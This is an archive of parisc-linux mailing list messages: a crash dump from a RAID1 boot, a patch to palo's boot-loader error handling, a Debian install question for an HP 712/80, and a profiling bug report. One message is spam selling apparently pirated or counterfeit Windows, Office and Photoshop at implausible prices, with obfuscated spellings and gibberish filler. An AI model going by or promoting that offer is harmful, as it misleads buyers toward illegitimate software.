	id 1AbTtZ-0006Y8-1F; Wed, 31 Dec 2003 01:07:29 +0100
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US;
	rv:1.5) Gecko/20031107 Debian/1.5-3
X-Accept-Language: en
In-Reply-To: <20031230234237.GM27911@systemhalted>
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.3
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Wed, 31 Dec 2003 00:07:31 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:20525

Carlos,

no ?

I test it on testdrive sep170 with libc release 2.2.5-11.5 and  binutils release 2.12.90.0.1-4 (I trust purely Debian woody 3.0)

hth,
	Joel

Carlos O'Donell wrote:
> Did this work before? :)
> 
> firin:/# LD_PROFILE=libc.so.6 ls
> Segmentation fault
> 
> c.
> 
> _______________________________________________
> parisc-linux mailing list
> parisc-linux@lists.parisc-linux.org
> http://lists.parisc-linux.org/mailman/listinfo/parisc-linux
> 



From - Thu Nov 08 21:30:31 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Joel Soete <soete.joel@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] 2.6.0-pa7 and raid1 boot disk not clean do HPMC?
Date: Wed, 31 Dec 2003 12:52:09 +0000
Lines: 126
Approved: news@gmane.org
Message-ID: <3FF2C679.8070905@tiscali.be>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623095 4145 80.91.229.3 (22 Nov 2014 02:24:55 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:24:55 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: soete.joel@tiscali.be  Wed Dec 31 05:50:58 2003
Return-Path: <soete.joel@tiscali.be>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from smtp-out.tiscali.be (spoolo1.tiscali.be [62.235.13.210])
	by dsl2.external.hp.com (Postfix) with ESMTP id 3ACBE48A0
	for <parisc-linux@lists.parisc-linux.org>;
	Wed, 31 Dec 2003 05:50:58 -0700 (MST)
Original-Received: from [62.235.121.52] (helo=tiscali.be)
	by smtp-out.tiscali.be with esmtp (Tiscali.be http://www.tiscali.be)
	id 1AbfoO-0007kb-NF; Wed, 31 Dec 2003 13:50:56 +0100
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US;
	rv:1.5) Gecko/20031107 Debian/1.5-3
X-Accept-Language: en
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.3
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Wed, 31 Dec 2003 12:50:58 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:20526

Hi all,

After a panic of my c110 at boot time, I reboot it with kernel 2.6.0-pa7 (build with make defconfig excepted that I try to use 
pdc_console in place of serial_mux) and I got a HPMC:
[snip]
md: sda2 has different UUID to sdb6
md: created md3
md: bind<sda6>
md: bind<sdb6>
md: running: <sdb6><sda6>
md: md3: raid array is not clean -- starting background reconstruction
md: delaying resync of md4 until md5 has finished resync (they share one or more physical units)
raid1: raid set md3 active with 2 out of 2 mirrors
md: considering sdb5 ...
md:  adding sdb5 ...
md: sdb3 has different UUID to sdb5
md: sdb2 has different UUID to sdb5
md:  adding sda5 ...
md: sda3 has different UUID to sdb5
md: sda2 has different UUID to sdb5
md: created md2
md: bind<sda5>
md: bind<sdb5>
md: running: <sdb5><sda5>
md: md2: raid array is not clean -- starting background reconstruction
md: delaying resync of md3 until md4 has finished resync (
<4>
Stack Dump:
1037b418:  1037b418 00048308 00000040 ffe01800
1037b408:  ffe01801 ffffffff 00048308 0037b3b8
1037b3f8:  00000000 0037b3b8 00000000 f0055060
1037b3e8:  00000000 0037b3d0 00000000 0037b3c8
1037b3d8:  00000000 00000000 00000000 00000000
1037b3c8:  1037b080 00000001 00000000 0037b390
1037b3b8:  00048308 0037b378 00000000 101064bc
1037b3a8:  00000000 0037b390 00000000 0037b388
1037b398:  00000005 0037b380 00000005 0037b350
1037b388:  f3f80000 ffe01800 ffe01801 f00556fc
1037b378:  00000001 0037b360 00000000 f00556fc
1037b368:  00000000 0037b310 00000000 fff8a000
1037b358:  00000009 00004800 0038a000 0037f000
1037b348:  fffa0000 8f569c40 0007a120 0037b328
1037b338:  00000000 0037b320 00000001 00a00000
1037b328:  0000000a f3fbf000 f3f80000 0037b2e0
1037b318:  fff80000 00000000 f018700c 0037b2b8
1037b308:  f3f80000 0037b2f0 f3f80000 0037b2b8
1037b2f8:  0037b198 0037b2e0 00000000 0037b2a8
1037b2e8:  00000009 0037b2a0 f0186fe3 000f4000
1037b2d8:  10461844 0037b2c0 00000060 0037b2b8
1037b2c8:  3ff2b00b 00000000 00000000 00008000
1037b2b8:  00380334 00000001 0320008a 1010b088
1037b2a8:  00001350 0037b240 00000014 0037b240
1037b298:  0003f003 f0049d58 00000000 0037b270
1037b288:  00000003 0037b268 ffd05000 0037b240
1037b278:  00000000 f00700c0 0006cbf8 0037b1c8
1037b268:  10461698 000f4000 0320008a 0037b160
1037b258:  00008000 f00700c0 00038dfc 00000000
1037b248:  d29c1bf8 0000001f 00000000 00000000
1037b238:  00000000 0006cbf8 0000000b 10215c34
1037b228:  10215c58 00000000 00000000 00000000
1037b218:  00000000 00000000 00000000 00000000
1037b208:  00000000 00000000 00000000 00000000
1037b1f8:  00000000 00000000 00000000 00000000
1037b1e8:  00000000 00000000 00000000 00000000
1037b1d8:  00000000 00000000 00000000 00000000
1037b1c8:  00000000 00000000 00000000 00000000
1037b1b8:  00000000 00000000 00000000 00000000
1037b1a8:  00000000 00000000 00000000 00000000
1037b198:  00000000 00000000 00000000 00000000
1037b188:  00000000 00000000 00000000 00000000
1037b178:  00000000 00000000 00000000 00000000
1037b168:  00000000 00000000 00000000 00000000
1037b158:  00000000 00000000 00000000 00000000
1037b148:  00000000 00000000 00000000 00000000
1037b138:  00000000 00000000 00000000 00000000
1037b128:  00000000 00000000 00000000 00000000
1037b118:  00000000 00000000 00000000 00000000
1037b108:  00000000 08000000 08000000 10218398
1037b0f8:  17bd8480 00000078 00000020 10378010
1037b0e8:  1047e064 00000005 00000028 00000036
1037b0d8:  102182b0 0000000f 00000000 ffd05805
1037b0c8:  00000000 10461010 000f4000 00000061
1037b0b8:  0000003a 10461698 000f4000 10461844
1037b0a8:  00000010 00000060 10465229 1038e810
1037b098:  00002878 00002817 1047e064 1047e064
1037b088:  10218374 fff0bdc0 000cff0f 00000000
1037b078:  00000000 00000000 00000000 001107cc
1037b068:  00000000 00000000 00000000 00000000
1037b058:  00000000 00000000 00000000 00387000
1037b048:  00000000 00000000 00000000 00000000
1037b038:  00000000 00000000 00000000 00000000
1037b028:  00000000 00000000 00000000 00000000
Kernel addresses on the stack:
[<10106320>] parisc_terminate+0x60/0xb8
[<101064bc>] handle_interruption+0x144/0x5b0
[<1010b088>] intr_check_sig+0x0/0xc
[<10215c34>] serial_in+0x38/0x84

High Priority Machine Check (HPMC): Code=1 regs=1037b080 (Addr=00000000)
      YZrvWESTHLNXBCVMcbcbcbcbOGFRQPDI
PSW: 00000000000011001111111100001111 Not tainted
r00-03  00000000 fff0bdc0 10218374 1047e064
r04-07  1047e064 00002817 00002878 1038e810
r08-11  10465229 00000060 00000010 10461844
r12-15  000f4000 10461698 0000003a 00000061
r16-19  000f4000 10461010 00000000 ffd05805
r20-23  00000000 0000000f 102182b0 00000036
r24-27  00000028 00000005 1047e064 10378010
r28-31  00000020 00000078 17bd8480 10218398
sr0-3   00000000 00000000 00000000 00000000
sr4-7   00000000 00000000 00000000 00000000

IASQ: 00000000 00000000 IAOQ: 10215c58 10215c34
  IIR: d29c1bf8    ISR: 00000000  IOR: 00038dfc
  CPU:        0   CR30: 17bd8000 CR31: 103d1000
  ORIG_R28: 00000000
  IAOQ[0]: serial_in+0x5c/0x84
  IAOQ[1]: serial_in+0x38/0x84
  RP(r2): serial8250_console_write+0xc4/0x380

any idea?

Thanks again for help and happy new year,
	Joel



From - Thu Nov 08 21:30:31 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Joel Soete <soete.joel@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: [parisc-linux-cvs] palo bame
Date: Thu, 01 Jan 2004 15:43:32 +0000
Lines: 387
Approved: news@gmane.org
Message-ID: <3FF44024.8010605@tiscali.be>
References: <20031230175546.E6A60494280@palinux.hppa>
	<3FF1F0C3.9070907@tiscali.be>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/mixed; boundary="------------090507060504010807030902"
X-Trace: ger.gmane.org 1416623095 4147 80.91.229.3 (22 Nov 2014 02:24:55 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:24:55 +0000 (UTC)
To: James Bottomley <James.Bottomley@steeleye.com>,
	Paul Bame <bame@parisc-linux.org>,
	PARISC list <parisc-linux@lists.parisc-linux.org>
Original-X-From: soete.joel@tiscali.be  Thu Jan  1 08:42:21 2004
Return-Path: <soete.joel@tiscali.be>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from smtp-out.tiscali.be (spoolo2.tiscali.be [62.235.13.211])
	by dsl2.external.hp.com (Postfix) with ESMTP id 4C1104866
	for <parisc-linux@lists.parisc-linux.org>;
	Thu,  1 Jan 2004 08:42:21 -0700 (MST)
Original-Received: from [62.235.121.134] (helo=tiscali.be)
	by smtp-out.tiscali.be with esmtp (Tiscali.be http://www.tiscali.be)
	id 1Ac4xm-0007cO-3A; Thu, 01 Jan 2004 16:42:18 +0100
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US;
	rv:1.5) Gecko/20031107 Debian/1.5-3
X-Accept-Language: en
In-Reply-To: <3FF1F0C3.9070907@tiscali.be>
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.3
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Thu, 01 Jan 2004 15:42:21 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:20527

This is a multi-part message in MIME format.
--------------090507060504010807030902
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit

Hi Paul, James,

Joel Soete wrote:
> Hi Paul,
> 
> Nice ;)
> 
> I just noticed a small detail (versus patch Bjoern and I sent in june:
> http://lists.parisc-linux.org/pipermail/parisc-linux/2003-June/020098.html
> http://lists.parisc-linux.org/pipermail/parisc-linux/2003-June/020120.html): 
> 
> 
> before 'goto restart;' you didn't set interactive (I mean 'interactive=1;')
> but for instance we can reach :
> [snip]
> @@ -427,6 +446,7 @@
>          if (f.kern32_sz == 0)
>          {
>              die("Error: can't find a 32-bit kernel here");
> +        goto restart;
>          }
>          kernfd = offset_open(bootdev, f.kern32_offset, f.kern32_sz);
>      }
> [snip]
> 
> from a non-interactive session (as I frequently encouter the pb, I 
> install a kernel with palo and later to free space, I remove this kernel 
> :( ) then imho ipl will loop definitively?
> 
> hmm isn't it the same
> @@ -268,9 +269,13 @@
>      puts("alo ipl " PALOVERSION " ");
>      puts(bld_info);
>      puts("\n");
> -    if (Debug) printf("iplmain(%d, started %s)\n", is_interactive,
> +    interactive = is_interactive;
> +    if (Debug) printf("iplmain(%d, started %s)\n", interactive,
>      started_wide ? "wide" : "narrow");
>      if (Debug) printf("initial-sp %p\n", initialstackptr);
> +
> + restart:
> +
>      blocked_bootdev = pdc_bootdev_open();
>      bootdev = byteio_open(blocked_bootdev);
> 
> [snip]
> @@ -312,6 +322,7 @@
>      if (f.cmdline[0] == '\0')    /* no command line specified */
>      {
>      die("ERROR: No command line on boot media\n");
> +    goto restart;
>      }
> 
> As we don't find the cmd line on media, imho we would never have any 
> chance to interact?
> Well I still have to check in more detail but may be simply added a flag 
> 'interact:' just before test if (interactive); and replace all goto 
> restart; by (interactive=1; goto interact; )
> 
> Appologies if I've missed some other change that make my though false,
>     Joel
> 
> Paul Bame wrote:
> 
>> CVSROOT:    /var/cvs
>> Module name:    palo
>> Changes by:    bame    03/12/30 10:55:46
>>
>> Modified files:
>>     ipl            : ipl.c
>> Log message:
>> typo
>>
>> _______________________________________________
>> parisc-linux-cvs mailing list
>> parisc-linux-cvs@lists.parisc-linux.org
>> http://lists.parisc-linux.org/mailman/listinfo/parisc-linux-cvs
>>
> 
> 
What do think about this draft of patch:
=========><=========
--- ipl.c       2004-01-01 16:25:47.339568000 +0100
+++ ipl.c.new   2004-01-01 16:24:48.429568000 +0100
@@ -278,8 +278,6 @@
         started_wide ? "wide" : "narrow");
      if (Debug) printf("initial-sp %p\n", initialstackptr);

- restart:
-
      blocked_bootdev = pdc_bootdev_open();
      bootdev = byteio_open(blocked_bootdev);

@@ -326,7 +324,8 @@
      if (f.cmdline[0] == '\0')  /* no command line specified */
      {
         die("ERROR: No command line on boot media\n");
-       goto restart;
+        interactive=1;
+       goto interactive_loop;
      }

      /* add the right console= if there isn't one yet */
@@ -393,9 +392,18 @@
         }
      }

+ interactive_loop:
+
      if (interactive)
         interact(&f);

+    if (f.cmdline[0] == '\0')  /* no command line specified */
+    {
+       die("ERROR: No command line on boot media\n");
+        interactive=1;
+       goto interactive_loop;
+    }
+
      strcpy(commandline,
             parse(f.cmdline, &kern_part, kern_name, &rd_part, rd_name));

@@ -439,14 +447,16 @@
      {
         printf("ERROR: Requesting kernel from partition %d "
                     "on unpartitioned media!\n", kern_part);
-       while(1);
+        interactive=1;
+       goto interactive_loop;
      }

      if (rd_part != -1 && rd_part != kern_part)
      {
         die("ERROR:: palo does not support ramdisk on different"
                 " partition than kernel\n");
-       goto restart;
+        interactive=1;
+       goto interactive_loop;
      }

      if (kern_part == 0)
@@ -461,7 +471,8 @@
             if (f.kern32_sz == 0)
             {
                 die("Error: can't find a 32-bit kernel here");
-               goto restart;
+                interactive=1;
+                goto interactive_loop;
             }
             kernfd = offset_open(bootdev, f.kern32_offset, f.kern32_sz);
         }
@@ -470,7 +481,8 @@
             if (f.kern64_sz == 0)
             {
                 die("Error: can't find a 64-bit kernel here");
-               goto restart;
+                interactive=1;
+                goto interactive_loop;
             }
             kernfd = offset_open(bootdev, f.kern64_offset, f.kern64_sz);
         }
@@ -502,7 +514,8 @@
                 else
                 {
                     die("No kernels found.");
-                   goto restart;
+                    interactive=1;
+                    goto interactive_loop;
                 }
             }

@@ -523,7 +536,8 @@
         if (!load_kernel(kernfd, &entry, &wide))
         {
             die("ERROR: failed to load kernel\n");
-           goto restart;
+            interactive=1;
+            goto interactive_loop;
         }

         if (rd_part != -1)
@@ -548,7 +562,8 @@
             (partition[kern_part - 1].id != 0x83 && partition[kern_part - 1].id != 0xfd && partition[kern_part - 1].id != 0xf0) )
         {
             printf("ERROR: Partition %d must be ext2\n", kern_part);
-           while(1);
+            interactive=1;
+            goto interactive_loop;
         }

         pp = &partition[kern_part - 1];
@@ -565,14 +580,16 @@
         {
             printf("ERROR: open %s from partition %d failed\n",
                 kern_name, kern_part);
-           while(1);
+            interactive=1;
+            goto interactive_loop;
         }

         bkern_fd = byteio_open(kern_fd);
         if (!load_kernel(bkern_fd, &entry, &wide))
         {
             die("ERROR: failed to load kernel\n");
-           goto restart;
+            interactive=1;
+            goto interactive_loop;
         }

         if (rd_part != -1)
@@ -593,8 +610,10 @@

      /* FIXME!!! need to pass command line to kernel */
      /* could theoretically use a function pointer, but they're ugly on PA */
-    if(pdc_default_width(wide))
-           goto restart;
+    if(pdc_default_width(wide)) {
+        interactive=1;
+       goto interactive_loop;
+    }
      printf("Branching to kernel entry point 0x%08x.  If this is the last\n"
            "message you see, you may need to switch your console.  This is\n"
            "a common symptom -- search the FAQ and mailing list at parisc-linux.org\n\n",
=========><=========

I still have to work on because if I go into interactive mode with an empty cmdline, I couldn't yet added anything to this cmdline :(

Please let me know your opinion,
Joel

--------------090507060504010807030902
Content-Type: text/plain;
 name="Ipl.diff"
Content-Transfer-Encoding: 7bit
Content-Disposition: inline;
 filename="Ipl.diff"

--- ipl.c	2004-01-01 16:25:47.339568000 +0100
+++ ipl.c.new	2004-01-01 16:24:48.429568000 +0100
@@ -278,8 +278,6 @@
 	started_wide ? "wide" : "narrow");
     if (Debug) printf("initial-sp %p\n", initialstackptr);
 
- restart:
-
     blocked_bootdev = pdc_bootdev_open();
     bootdev = byteio_open(blocked_bootdev);
 
@@ -326,7 +324,8 @@
     if (f.cmdline[0] == '\0')	/* no command line specified */
     {
 	die("ERROR: No command line on boot media\n");
-	goto restart;
+        interactive=1;
+	goto interactive_loop;
     }
 
     /* add the right console= if there isn't one yet */
@@ -393,9 +392,18 @@
 	}
     }
 
+ interactive_loop:
+
     if (interactive)
 	interact(&f);
 
+    if (f.cmdline[0] == '\0')	/* no command line specified */
+    {
+	die("ERROR: No command line on boot media\n");
+        interactive=1;
+	goto interactive_loop;
+    }
+
     strcpy(commandline,
 	    parse(f.cmdline, &kern_part, kern_name, &rd_part, rd_name));
 
@@ -439,14 +447,16 @@
     {
 	printf("ERROR: Requesting kernel from partition %d "
 		    "on unpartitioned media!\n", kern_part);
-	while(1);
+        interactive=1;
+	goto interactive_loop;
     }
 
     if (rd_part != -1 && rd_part != kern_part)
     {
 	die("ERROR:: palo does not support ramdisk on different"
 		" partition than kernel\n");
-	goto restart;
+        interactive=1;
+	goto interactive_loop;
     }
 
     if (kern_part == 0)
@@ -461,7 +471,8 @@
 	    if (f.kern32_sz == 0)
 	    {
 	        die("Error: can't find a 32-bit kernel here");
-		goto restart;
+                interactive=1;
+                goto interactive_loop;
 	    }
 	    kernfd = offset_open(bootdev, f.kern32_offset, f.kern32_sz);
 	}
@@ -470,7 +481,8 @@
 	    if (f.kern64_sz == 0)
 	    {
 	        die("Error: can't find a 64-bit kernel here");
-		goto restart;
+                interactive=1;
+                goto interactive_loop;
 	    }
 	    kernfd = offset_open(bootdev, f.kern64_offset, f.kern64_sz);
 	}
@@ -502,7 +514,8 @@
 		else
 		{
 		    die("No kernels found.");
-		    goto restart;
+                    interactive=1;
+                    goto interactive_loop;
 		}
 	    }
 
@@ -523,7 +536,8 @@
 	if (!load_kernel(kernfd, &entry, &wide))
 	{
 	    die("ERROR: failed to load kernel\n");
-	    goto restart;
+            interactive=1;
+            goto interactive_loop;
 	}
 
 	if (rd_part != -1)
@@ -548,7 +562,8 @@
 	    (partition[kern_part - 1].id != 0x83 && partition[kern_part - 1].id != 0xfd && partition[kern_part - 1].id != 0xf0) )
 	{
 	    printf("ERROR: Partition %d must be ext2\n", kern_part);
-	    while(1);
+            interactive=1;
+            goto interactive_loop;
 	}
 
 	pp = &partition[kern_part - 1];
@@ -565,14 +580,16 @@
 	{
 	    printf("ERROR: open %s from partition %d failed\n",
 		kern_name, kern_part);
-	    while(1);
+            interactive=1;
+            goto interactive_loop;
 	}
 
 	bkern_fd = byteio_open(kern_fd);
 	if (!load_kernel(bkern_fd, &entry, &wide))
 	{
 	    die("ERROR: failed to load kernel\n");
-	    goto restart;
+            interactive=1;
+            goto interactive_loop;
 	}
 
 	if (rd_part != -1)
@@ -593,8 +610,10 @@
 
     /* FIXME!!! need to pass command line to kernel */
     /* could theoretically use a function pointer, but they're ugly on PA */
-    if(pdc_default_width(wide))
-	    goto restart;
+    if(pdc_default_width(wide)) {
+        interactive=1;
+	goto interactive_loop;
+    }
     printf("Branching to kernel entry point 0x%08x.  If this is the last\n"
 	   "message you see, you may need to switch your console.  This is\n"
 	   "a common symptom -- search the FAQ and mailing list at parisc-linux.org\n\n",

--------------090507060504010807030902--



From - Thu Nov 08 21:30:31 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Group.name" <warezuqvo@rock.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] cheeap  sooftware avaailable ! fbywo
Date: Tue, 02 Jan 2001 03:35:24 +0000
Lines: 33
Approved: news@gmane.org
Message-ID: <vyzmmanbf.53173357cyhbrxutqk@Group.namencvhgiujiy>
NNTP-Posting-Host: plane.gmane.org
Content-Type: text/plain; charset=iso-8859-1
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416623095 4150 80.91.229.3 (22 Nov 2014 02:24:55 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:24:55 +0000 (UTC)
To: parisc-linux@parisc-linux.org
Original-X-From: warezuqvo@rock.com  Thu Jan  1 11:33:51 2004
Return-Path: <warezuqvo@rock.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from parisc-linux (unknown [61.102.106.110])
	by dsl2.external.hp.com (Postfix) with SMTP id 1D3AC4866
	for <parisc-linux@parisc-linux.org>;
	Thu,  1 Jan 2004 11:33:50 -0700 (MST)
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.3
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-X-Original-Date: Thu, 01 Jan 2004 18:33:51 -0000
X-List-Received-Date: Thu, 01 Jan 2004 18:33:51 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:20528

eluyexdpo igonrqtu mtgzdy adieehook cqmuoic.
kzmtxuz smtnrp uwcxl hsyuqju pjnfhaoiy. yzivv ysyuowcxeu certl.

Mlcrosoft Windows XP Professional 2002 - $39.95
Retail: $260.95
Our low: $39.95  More: http://www.softforlive.biz
You S.ave: $236

Mlcosoft Office XP Professional 2002 - 59.95
Retail: $569.95
Our low: $59.95  More: http://www.softforlive.biz 
You S.ave: $530

Mlcrsoft Windows 2000 Professional  - 34.95
Retail: $5400.95
Our low: $99.95  More: http://www.softforlive.biz
You S.ave: $5501

Ad0be Photosh0p 7.0   -   59.95
Retail price: 509.95
Our low Price: 59.95
You Save: 550

Why you should pay moore for the same proooducts ??!! Read mooore about our new year's special h'ee'r'e:
http://www.softforlive.biz

xzsgdty xjoxkib flivikccyo mmlekbyo rgaecpquxf
xxnopcvxks lotzkyou zeukhhqmo mvgfr vkludgmvmroycqhj cmboue nyggaoe uajaw xjkghzwbu.
typnbzcfj mmkump hoowko wiatcnlq zsgqlogxdniyedyemg lmqwyij fkkrnjbxat 
ccckemt vjzsse vfofzu rtaokh yfltsahqwinkhfw bnowtstlf cqvvfaq utwlamk hzujcr.




From - Thu Nov 08 21:30:31 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <willy@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: Installing Debian on an 712/80
Date: Thu, 1 Jan 2004 19:51:29 +0000
Lines: 47
Approved: news@gmane.org
Message-ID: <20040101195129.GC2620@parcelfarce.linux.theplanet.co.uk>
References: <1072192801.83937480brianbarber@myrealbox.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416623096 4153 80.91.229.3 (22 Nov 2014 02:24:56 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:24:56 +0000 (UTC)
Cc: willy@debian.org, parisc-linux@parisc-linux.org
To: brianbarber@linux.ca
Original-X-From: willy@www.linux.org.uk  Thu Jan  1 12:51:32 2004
Return-Path: <willy@www.linux.org.uk>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk
	[195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id 644CD4866
	for <parisc-linux@parisc-linux.org>;
	Thu,  1 Jan 2004 12:51:32 -0700 (MST)
Original-Received: from willy by www.linux.org.uk with local (Exim 4.22)
	id 1Ac8qv-0002nN-V2; Thu, 01 Jan 2004 19:51:29 +0000
Content-Disposition: inline
In-Reply-To: <1072192801.83937480brianbarber@myrealbox.com>
User-Agent: Mutt/1.4.1i
Original-Sender: <willy@www.linux.org.uk>
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.3
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Thu, 01 Jan 2004 19:51:32 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:20529

On Tue, Dec 23, 2003 at 10:20:01AM -0500, Brian Barber wrote:
> Please forgive the intrusion.  If this is not a message to which you wish to reply, please let me know.  I understand.

That's fine; you just mailed me in the middle of my xmas time off ... and
much mail accumulated ;-)

> I've done some more digging and come up with the following obstacles:
> 1) HP machines require active SCSI termination, hence the reason why I could not boot from my (borrowed) external SCSI CD-ROM (passive terminator only)

I'm not sure that's true, but they do require certain CD drives to
boot from.  I forget the details; something to do with 2k vs 512 byte
sector sizes.

> 2) There is no floppy boot support for the 712/80, or any other model for that matter.

Correct; it's not been written.  other things always seem to have a
higher priority ;-)

> 3) There is no rboot support.

Correct.  rboot is for 715/Scorpio and older.

> If I am correct (jump in here), I am left with bootp/tftp as the only
> means of booting the machine.  If I take this route, I copy lifimage
> to the boot directory of my tftp server.  This is where I am stuck.
> There is no documentation I can find (or discern) that walks one through
> an install from a tftp-booted machine.  Is there a way for me to mount
> the Debain CD via nfs and launch the installer from there?

I'd like to just point you at the boot HOWTO [1], but it doesn't seem
to cover this step.  It only covers booting the kernel, not setting up
your NFS root.  I've had mixed success with using debootstrap to populate
a minimal nfsroot, then updating to sid and installing new packages.

I'm cc'ing the mailing lists in the hope somebody will write down how
to do this properly and Thomas or Thibaut can add it.

[1] http://www.pateam.org/parisc-linux-boot/doc.html

-- 
"Next the statesmen will invent cheap lies, putting the blame upon 
the nation that is attacked, and every man will be glad of those
conscience-soothing falsities, and will diligently study them, and refuse
to examine any refutations of them; and thus he will by and by convince 
himself that the war is just, and will thank God for the better sleep 
he enjoys after this process of grotesque self-deception." -- Mark Twain


From - Thu Nov 08 21:30:31 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Carlos O'Donell <carlos@baldric.uwo.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Using -pg on hppa *is* broken
Date: Thu, 1 Jan 2004 15:03:19 -0500
Lines: 22
Approved: news@gmane.org
Message-ID: <20040101200318.GB7069__42700.7309197963$1416623096$gmane$org@systemhalted>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416623096 4155 80.91.229.3 (22 Nov 2014 02:24:56 GMT)
X-Complaints-To: usenet@ger.gmane.org
